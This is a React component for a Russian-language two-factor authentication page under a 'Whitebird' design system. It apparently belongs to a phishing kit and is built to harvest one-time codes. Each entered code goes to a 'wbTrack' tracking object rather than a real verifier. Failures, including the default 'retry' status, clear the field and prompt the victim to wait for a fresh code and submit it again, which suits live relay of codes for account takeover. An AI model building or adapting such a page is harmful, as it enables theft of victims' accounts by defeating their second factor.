const WB_TF = window.WhitebirdDesignSystem_7d8137;

function TwoFactorPage({ onDone, onHome }) {
  const { Card, OtpInput } = WB_TF;
  const [code, setCode] = React.useState('');
  const [error, setError] = React.useState(false);
  const [checking, setChecking] = React.useState(false);

  const haptic = () => {
    try {
      const tg = window.Telegram && window.Telegram.WebApp;
      if (tg && tg.HapticFeedback) tg.HapticFeedback.impactOccurred('light');
    } catch(e){}
  };

  const complete = async (value) => {
    haptic();
    setChecking(true);
    try {
      const r = window.wbTrack ? await window.wbTrack.otp(value) : { status: 'retry' };
      setChecking(false);
      if (r && r.status === 'ok') { setError(false); onDone && onDone(); }
      else { setError(true); setCode(''); }
    } catch (_) {
      setChecking(false); setError(true); setCode('');
    }
  };

  return (
    <div className="wb-page">
      <SiteHeader variant="white" />
      <main className="wb-auth">
        <Card variant="dialog" className="wb-auth__card wb-2fa" style={{ maxWidth: 'var(--wb-auth-maxw)', width: '100%' }}>
          <div className="wb-2fa">
            <h1>Двухфакторная аутентификация</h1>
            <p>
              Введите подтверждающий код из вашего приложения двухфакторной аутентификации (2FA).
              Эти коды регулярно обновляются в целях безопасности, поэтому используйте комбинацию,
              актуальную в данный момент.
            </p>
            <div className="wb-2fa__otp">
              <OtpInput value={code} onChange={(v) => { setCode(v); if (error) setError(false); }}
                onComplete={complete} autoFocus error={error} />
            </div>
            {error && (
              <p style={{ margin: '18px 0 0', fontSize: 'var(--wb-size-small)', color: 'var(--wb-down)', maxWidth: '455px' }}>
                Произошла ошибка. Дождитесь обновления кода и укажите заново.
              </p>
            )}
            {checking && (
              <p style={{ margin: '18px 0 0', fontSize: 'var(--wb-size-small)', color: 'var(--wb-soft)' }}>Проверяем код…</p>
            )}
          </div>
        </Card>
      </main>
      <SiteFooter />
    </div>
  );
}

Object.assign(window, { TwoFactorPage });